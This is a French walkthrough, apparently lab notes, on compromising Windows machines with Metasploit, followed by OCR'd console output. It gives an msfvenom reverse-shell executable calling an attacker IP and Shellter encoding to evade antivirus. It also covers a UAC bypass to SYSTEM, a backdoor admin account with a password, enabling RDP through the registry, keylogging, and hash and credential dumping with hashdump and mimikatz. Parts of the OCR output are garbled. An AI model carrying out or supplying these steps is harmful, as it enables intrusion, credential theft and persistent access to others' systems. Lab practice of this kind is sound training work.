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[bookmark: _Toc101428197]Qu’est-ce que Metasploit ?

Metsploit est un outil pour le développement et l'exécution d'exploits contre une machine distante, il permet de réaliser des audits en sécurité, de tester et développer ses propres exploits.
Il est utilisé souvent par les administrateurs systèmes pour tester les vulnérabilités des systèmes informatiques afin de les protéger, ou par les hackers à des fins de piratage.

[bookmark: _Toc101428198]Création d’un .exe malveillant
Pour créer l'exécutable, vous utiliseriez msfvenom comme indiqué dans la commande ci-dessous :
msfvenom -p windows/meterpreter/reverse_tcp -a x86 – plateforme windows -f exe LHOST=192.168.8.136 LPORT=4444 --platform windows -o something32.exe
[image: ]
Listes d’options
[image: Une image contenant texte

Description générée automatiquement]
La commande demande à msfvenom de générer un fichier exécutable Windows 32 bits qui implémente une connexion TCP inversée. Le format doit être spécifié comme étant de type .exe, et l'hôte local (LHOST) et le port local (LPORT) doivent être définis. Dans notre cas, le LHOST est l'adresse IP de notre machine Kali Linux attaquante et le LPORT est le port sur lequel écouter une connexion de la cible une fois qu'elle a été compromise.
Les solutions antivirus fonctionnent en détectant les signatures malveillantes dans les exécutables. Notre fichier sera donc signalé comme malveillant une fois dans l'environnement Windows. Nous devons trouver un moyen de le modifier pour contourner la détection antivirus. Nous allons l'encoder pour le rendre totalement indétectable
[bookmark: _Toc101428199]Injection dynamique de shell code

Apt-get install shelter

Pour lancer Shellter, tapez simplement shellter sur le terminal.
[image: Une image contenant texte, horloge, mur, intérieur

Description générée automatiquement]

Shellter s'initialisera ensuite et exécutera quelques vérifications. Il vous demandera ensuite si vous souhaitez exécuter en mode furtif. Sélectionnez "O" pour oui.
[image: Une image contenant texte

Description générée automatiquement]

La prochaine invite vous demandera le payload utilisé, qu'elle soit personnalisée ou répertoriée. Vous devez en sélectionner un répertorié en tapant "L" à moins que vous ne souhaitiez continuer avec votre propre charge utile personnalisée.

[image: Une image contenant texte

Description générée automatiquement]

Entrez votre LHOST et votre LPORT

[image: Une image contenant texte

Description générée automatiquement]
Shellter : https://www.shellterproject.com/Downloads/Shellter/Readme.txt


[bookmark: _Toc101428200]Exécution du Payload 
Afin que cette étape fonctionne, il faut que l’utilisateur clique sur votre malware
Aller dans MSFCONSOLE
[image: Une image contenant texte

Description générée automatiquement]


Tapez use exploit/multi/handler et configurez vôtre Payload 
[image: Une image contenant texte

Description générée automatiquement]
Faite un set LHOST puis tapez « run » une session meterpreter ce lancera.
[image: Une image contenant texte

Description générée automatiquement]

Étant donné que le fichier n'a pas été exécuté en tant qu'"administrateur", certaines commandes Meterpreter ne peuvent pas être exécutées car elles entraîneraient une réponse "accès refusé". Cela peut être confirmé en exécutant la commande getuid.
[image: ]
En tapant getsystem vous verrez qua vos droits sont restreints
[image: Une image contenant texte
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[bookmark: _Toc101428201]Escalade de privilèges « Jeton d’imitation »

Étant donné que les méthodes utilisées par getsystem échouent toutes, nous avons besoin d'une méthode alternative d'élévation des privilèges. Nous utiliserons le module d'exploitation comhijack pour contourner le contrôle d'accès utilisateur. Pour ce faire, nous "mettons en arrière-plan" notre session Meterpreter, basculons notre exploit de multi/handler vers windows/local/bypassuac_comhijack et implémentons ceci sur la session en arrière-plan, en utilisant set SESSION 2.

[image: Une image contenant texte

Description générée automatiquement]
 Nous définissons ensuite le payloads puis LHOST
[image: Une image contenant texte

Description générée automatiquement]

SI cela fonctionne nous serons alors en NT AUTHORITY\SYSTEM
[image: ]
Nous pouvons désormais faire ce que l’on veut sur le computer.	


Lien : https://pentesthacker.wordpress.com/2020/12/24/bypassing-uac-in-windows-10/





[bookmark: _Toc101428202]Persistance « Backdoor » 

Plusieurs méthodes de backdoor sont disponibles sur https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/

[image: Une image contenant texte
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[bookmark: _Toc101428203]Méthode « RDP BACKDOOR »

Une fois connecter depuis meterpreter, lancer le shell.
[image: Une image contenant texte

Description générée automatiquement]
Utilisé la commande Net users afin de vérifier les utilisateurs présent sur l’ad 
net user /add hack Bru73f0rc3[image: Une image contenant texte

Description générée automatiquement]
Ajouter un utilisateurs en utilisant la commande net user /add hack Bru73f0rc3


Nous ajoutons ensuite l’utilisateur hack au groupe des administrateurs afin que le compte puisse effectuer des fonctions d'administration. La commande utilisée est :
net localgroup administrateurs hack /add

Il existe ensuite 2 méthodes une pour un W10 et une autre pour un contrôleur de domaine.

Méthode W10
Nous l'ajoutons ensuite au groupe RDP. Cela nous permettra de nous connecter via RDP à la machine cible, même après qu'elle ait été corrigée pour activer le pare-feu et l'antivirus.
net localgroup “Remote Desktop Users” jaime /add
net localgroup "Utilisateurs du Bureau à distance" dede /add

Si vous souhaitez désactiver RDP à quelque fin que ce soit, vous pouvez le faire en tapant la commande suivante :
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Méthode AD
Pour activer RDP, utilisez la commande suivante afin d’ajouter une clé de registre
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
[image: Une image contenant texte

Description générée automatiquement]

Enfin sur la Kali Linux nous pouvons utiliser remmina afin de ce connecter en RDP au server ou au client W10
Pour installer remmina :
Apt-get install remmina
Afin de lancé remmina, tapez simplement remmina dans le prompt
[image: Une image contenant texte, capture d’écran, moniteur

Description générée automatiquement]
Enfin connecter vous au server.
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[bookmark: _Toc101428204]Keylogger

Il faut tout d’abord ce connecté à votre machine cible, ensuite utilisé les options keyscan_start, keyscan_dump puis keyscan_stop
keyscan_start : 
[image: ]
keyscan_dump :
[image: Une image contenant texte

Description générée automatiquement]
Tuto sur le lien : https://www.computerforensicsworld.com/how-to-make-a-keylogger-using-metasploit/

















[bookmark: _Toc101428205]MIMIKATZ HASDUMP

Nous allons récupérer les mdp du compte administrateur à l’aide de hashdump.

Afin d’utiliser hashdump, il va falloir utilisé les commandes { ps ; getprivs ; getsystem ; hasdump ; migrate et l’extensions kiwi }

PS va nous servir à afficher la liste des process en cours d’éxécution sur la machine.
[image: Une image contenant texte, équipement électronique, ordinateur

Description générée automatiquement]


Getprivs à nous fournir les privilèges
[image: Une image contenant texte, plaque

Description générée automatiquement]

Enfin getsystem nous servira à passer en temps qu’utilisateur système.

Afin de ne pas rencontré d’erreur, il faudra migrer sur un procès x64 si votre computeur s’éxécute en x64 avec la commande migrate. Le PID est important à cette étape « voir commande PS »
[image: Une image contenant texte

Description générée automatiquement]
Une fois le PID migré, vous pouvez utilisé hashdump
[image: Une image contenant texte, intérieur

Description générée automatiquement]



Une fois arriver à cette étape, il faut télécharger mimikatz avec la commande load mimikatz
[image: Une image contenant texte

Description générée automatiquement]
L’extensions mimikatz étant remplacer par kiwi, utilisé la commande help kiwi afin d’afficher l’aide
[image: Une image contenant texte

Description générée automatiquement]
Enfin la commande creds_kerberos vous fourniras Username,domaine,password .
[image: ]

Lien : https://malicious.link/post/2011/2011-05-16-dumping-hashes-on-win2k8-r2-x64-with-metasploit/
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payload.
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root@peinttest  /home/bastien

# msfconsole

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyhirote*L1T*Mail.ru*() { :3}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeanNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*Shroomz*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPuners*FILAHA*Raf faela*HackSurYvette*outout*HackSouth*Corax*yeeb@iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AL Generated*CSEC*p3nnm3d*IFS*CTF_Circle*Innoteclabs*baadf@@d*BitSwitchers*@xnoobs*
*ItPuns - Intergalactic Team of PhNers*PCCsquared*fr334aks*runCMD*@x194*Kapital Krakens*ReadyPlayer1337+Team 443%
*HACKSNOW*InfOUsec*CTF Community*DCZia*Nicehay*0xBlueSky*ME3*Tipi'Hack*Porg Pun Platoon*Hackerty*hackstreetboys*
*ideaengine@@7*eggcellent*Hax*cwl67*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*ARESx* cxp*vaporsec*purplehax*RedTean@MTU*UsalamaTean*vitanink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR ! 3ND5*badfirmiare*Cut3Dragon*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Punage*0ldBoys*MOul3Fr1t1B13r3*bearsuithsaws*DC540%
*iMosuke*Infosec_zitro*CrackTheF lag*TheConquerors*Asur*Afun*Rogue -CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n@n*x@rc3r3rs*emehacr*Phan76m_R34p3r*humziq*Preeminence*UNGC*ByteBrigade*
*TeanFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*Log!c BOmb*NOVA-InfoSec*teamstyle*Panic®

*BONGOR3*
*Les Tontons Flagueurs*

** UNION SELECT password*
*burner_herzog*
*here_there_be_trolls*
*P4tS_*6rungdnda*NYUSECK
*IkastenIO*TWC*balkansec*
*TofuEelRol1*Trash Pandas*
*Astra*Got Schwartz?*tmux*
*\nls*Juicy white peach*
*HackerKnights*

*Pentest Rangers*
*placeholder name*bitup*
*UCASers*onotch*
*NeNiNuMmOk*

*Maux de téte*LalaNG*
*crrotz*z3reparn*clueless*
*Hackbara*
*Kugelschreibertester*
*icemasters*

*Spartan’s Ravens*
*g01dd1gg3rs*pappo*

*Les CRACKS*c@dingRabbits*
*2Crash*RecycleBin*
*ExploitStudio*

*Car RamRod*@x41414141%

*Les Cadets Rouges*buf*
*404 : Flag Not Found*
*0CD247*Sparkle Pony*
*Kill$hot*ConEmu*
*;echo”hacked"*
*karamelde*
*cybersecurity.1i%
*OneManArmy*cyb3r_uwlzards*
*AreYouStuck*Mr . Robot . 0%
*EPITA Rennes®
*guildOfGengar*Titans®
*The Libbyrators*
*JeffTadashi*Mikeal*
*ky_dong_day_song*
*JustForFun!*
*g3tsh3L1s6on®

*Phd Dac Biét*Paradox®
*KaRIPux*infOsec*
*bluehens*Antoine77%
*genxy*TRADE_NAMES*
*BadByte* fontwang_tw*
*ghoti*

*LinuxRiders*

*Jalan Durian®
*WPICSC*logaritm*
*0rv1113*team-fmddd*
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15f6 > use exploit/multi/handler
] Using configured payload generic/shell reverse_tcp

16 exploit(multi/handler) > set session 1

session => 1

nsf6 exploit(nulti/handler) > set payload windows/x64/meterpreter/reverse_tcp
hayload => windows/x64/meterpreter/reverse_tcp
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mst6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.8.136:4444

[*] Sending stage (200262 bytes) to 192.168.8.139

[*] Meterpreter session 1 opened (192.168.8.136:4444 -> 192.168.8.139:52404 ) at 2022-04-19 15:20:17 +0200

meterpreter > [|
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meterpreter > getuid
Server username: FORMATION\bastien
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IETErpreter > getsystem

] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
] Named Pipe Impersonation (In Memory/Admin)

] Named Pipe Impersonation (Dropper/Admin)

] Token Duplication (In Memory/Admin)

] Named Pipe Impersonation (RPCSS variant)

1 Named Pipe Impersonation (PrintSpooler variant)
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meterpreter > getsystem
(-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:

(-] Named Pipe Impersonation (In Memory/Admin)
(-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background

[*] Backgrounding session 2.
msf exploit (il ii/handler) > use exploit/windows/local/bypassuac_comhijack

msf exploit (windows/Local/bypassuac_conhijack) > set SESSION 2

GESSION => 2.
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msf exploit(windows/local/bypassuac _comhijack) > set payload windows/x64/meterpreter/reverse_tcp
‘payload => windows/x64/meterpreter/reverse_tcp

‘msf exploit(windows/local /bypassuac_comhijack) > set LHOST 192.168.160.4

iLHDST => 192.168.100.4

mst exploit(windows/local/bypassuac_conhijack) > set LPORT 4444

LPORT => 4444

mst exploit(windows/local/bypassuac_comhijack) > run

[*] Started reverse TCP handler on 192.168.100.4:4444

[*] UAC is Enabled, checking level...

[+] Part of Administrators group! Continuing...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[*] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{BA29FF9E-7F9C-4437-8B11-F424491E3931} ...
[*] Uploading payload to C:\Users\13s7r\AppData\Local\Temp\iDAndEBL.d1l .

[*] Executing high integrity process ...

[*] Cleaining up registry .
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meterpreter > getuid
Server usernane: NT AUTHORITY\SYSTEM
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meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the age

-L  Location in target host to write payload to, if none %¥TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.

-s Automatically start the agent on boot as a service (with SYSTEM privileges
-T  Alternate executable template to use

-u Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i The interval in seconds between each connection attempt
-p  The port on which the system running Metasploit is listening
-r  The IP of the system running Metasploit listening for the connect back
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meterpreter > shell

Process 6472 created.

Channel 1 created.

Microsoft Windows [version 10.0.17763.737]
(c) 2018 Microsoft Corporation. Tous droits

r@serv@s.
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comptes d'utilisateurs de \\SRV-AD

Administrateur bastien
hack Invité
test testndp

La commande s'est termin@e correctement.

greg
krbtgt
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rosoft Windows [version 10.0.14393]
(c) 2016 Microsoft Corporation. Tous droits réservés.

C: \uindows\systen32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections
/t REG_DWORD /d © /F
L’ opération a réussi

C:\windows\systen32>
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meterpreter > keyscan_start
Starting the keystroke sniffer .
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meterpreter > keyscan_dump
Dumping captured keystrokes. ..
secret<CR>

secret test pd<"S>
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meterpreter > ps

Process List

PID  PPID Name

o 0 [Systen Process]
4 @ system

88 4  Registry

188 864  RuntimeBroker.exe
272 4 smss.exe

320 636 svchost.exe
392 384 csrss.exe
492 636  svchost.exe
496 38  wininit.exe
504 488  csrss.exe
560 488 winlogon.exe
580 636 svchost.exe
636 496 services.exe
652 496 lsass.exe
668 636  svchost.exe
676 636  svchost.exe
696 636 svchost.exe
732 636  svchost.exe
832 636  svchost.exe
844 636  svchost.exe
864 636  svchost.exe
880 636  svchost.exe
900 636  svchost.exe
948 636  svchost.exe
1012 560  dum.exe
1072 636  svchost.exe
1128 636  svchost.exe
1164 864  SearchUI.exe
1196 636  svchost.exe

Arch

x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64

Session

User

FORMATION\hack
AUTORITE NT\Systéme

AUTORITE NT\Systéme

AUTORITE NT\systéme
AUTORTTE NT\SERVICE LOCAL

AUTORITE NT\systéme
AUTORITE NT\SERVICE LOCAL
AUTORITE NT\systéme
AUTORITE NT\SERVICE LOCAL
FORMATION\hack

AUTORITE NT\SERVICE LOCAL
AUTORITE NT\Systéme
AUTORITE NT\systéme
AUTORTTE NT\SERVICE LOCAL
AUTORITE NT\SERVICE RESEAU
AUTORITE NT\Systéme
Window Manager\DW-1
AUTORTTE NT\SERVICE LOCAL
AUTORTTE NT\SERVICE RESEAU
FORMATION\Administrateur
AUTORITE NT\SERVICE LOCAL

Path

oo

noonnannnonnnnan

:\Windows\System32\RuntimeBroker. exe
:\Windows\System32\svchost .exe
:\Windows\System32\svchost .exe
:\Windows\System32\winlogon. exe
:\Windows\System32\svchost .exe

:\Windows\System32\1sass. exe

\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost.exe
\Windows\Systen32\svchost .exe
\Windows\Systen32\dun. exe

\Windows\Systen32\svchost .exe
\Windows\Systen32\svchost .exe

\Windows\SystemApps\Microsoft.Windows.Cortana_cwsn1h2txyewy\SearchUI.exe

Windows\System32\svchost.exe
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meterpreter > getprivs

Enabled Process Privileges

Name
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreatesymbolicLinkPrivilege
SeDebugPrivilege
SeEnableDelegationPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverprivilege
SeMachineAccountPrivilege
SeManagevolumePrivilege
SeProfilesingleProcessPrivilege
SeRemoteshutdownPrivilege
SeRestorePrivilege
SesecurityPrivilege
SeshutdownPrivilege
SesystemEnvironmentPrivilege
SesystemProfilePrivilege
SesystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
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meterpreter > migrate 2404
[+] Migrating from 7944 to 2404 ...

[+] 192.168.8.129 - Meterpreter session 2 closed. Reason: Died
[+] Migration completed successfully.





image29.png
meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3bs3sb5140kee:9723230d6d51687fack23FF676e3dc20
Invit€:501:aad3b435b51404eeaad3bk35h51404ee:31d6CFe0d162e931b73c59d7e8c089CO
krbtgt:502:aad3b435b51404eeaad3bs35bs1404ee: 2b35Fb1466ac3dceefs8937852ckda
test:1105:aad3b435b51404eeaad3bs35b51404ee :9723230d6d51687 fack23FF676e3dc20
testmdp:1106:aad3b435b51404eeaad3ba3sb51404ee:9723230d6d51687 fack23FF676e3dc20
bastien:1107:aad3b435b51404eeaad3ba3sb51404ee: 9723230d6d51687 fack23F676e3dc20
greg:1110:aad3b435b51404eeaad3bs3shs1404ee : 3e1c5Fb401a8bas6ch8F F3cscabdsdcl

ad3b435b51404eeaad3ba3sb51404ee:9723230d6d51687fack23FF676e3dc20
000:3ad3b435b51404eeaad3bs35b51404ee: a160acad89dab7 1b3042025db8F6a2b5
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meterpreter > load mimikatz
[!1 The "mimikatz” extension has been replaced by "kiwi
Loading extension kiwi

. mimikatz 2.2.0 20191125 (x64/windows)

L % . "A La Vie, A L'Amour” - (oe.e0)
#% / \ # /+ex Benjamin DELPY “gentilkiw

Please use this in future.

( benjaminagentilkiwi.com )

e\ / > http://blog.gentilkiwi.con/mimikatz
v Vincent LE TOUX ( vincent.letouxagmail.com )
e > http://pingcastle.com / http://mysmartlogon.com xx/

Success.
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meterpreter > help kiwl

Kiwi Commands.

Command

creds_all
creds_kerberos
creds_livessp
creds_msv

creds_ssp
creds_tspkg
creds_wdigest
desync

desync_ntlm
golden_ticket_create
kerberos_ticket_list
kerberos_ticket_purge
kerberos_ticket_use
kiwi_cmd
sa_dump_sam
1sa_dump_secrets
password_change
wifi_list
wifi_list_shared

Description

Retrieve
Retrieve
Retrieve
Retrieve
Retrieve
Retrieve
Retrieve
Retrieve
Retrieve
Create a
List all

all credentials (parsed)

Kerberos creds (parsed)

Live SSP creds

LW/NTLM creds (parsed)

SSP creds

TsPkg creds (parsed)

Whigest creds (parsed)

user account information via DCSync (unparsed)
user account NTLM hash, SID and RID via DCSync
golden kerberos ticket

kerberos tickets (unparsed)

Purge any in-use kerberos tickets
Use a kerberos ticket
Execute an arbitary mimikatz command (unparsed)

Dump LSA
Dump LSA

SAM (unparsed)
Secrets (unparsed)

Change the password/hash of a user.
List wifi profiles/creds for the current user
List shared wifi profiles/creds (requires SYSTEM)
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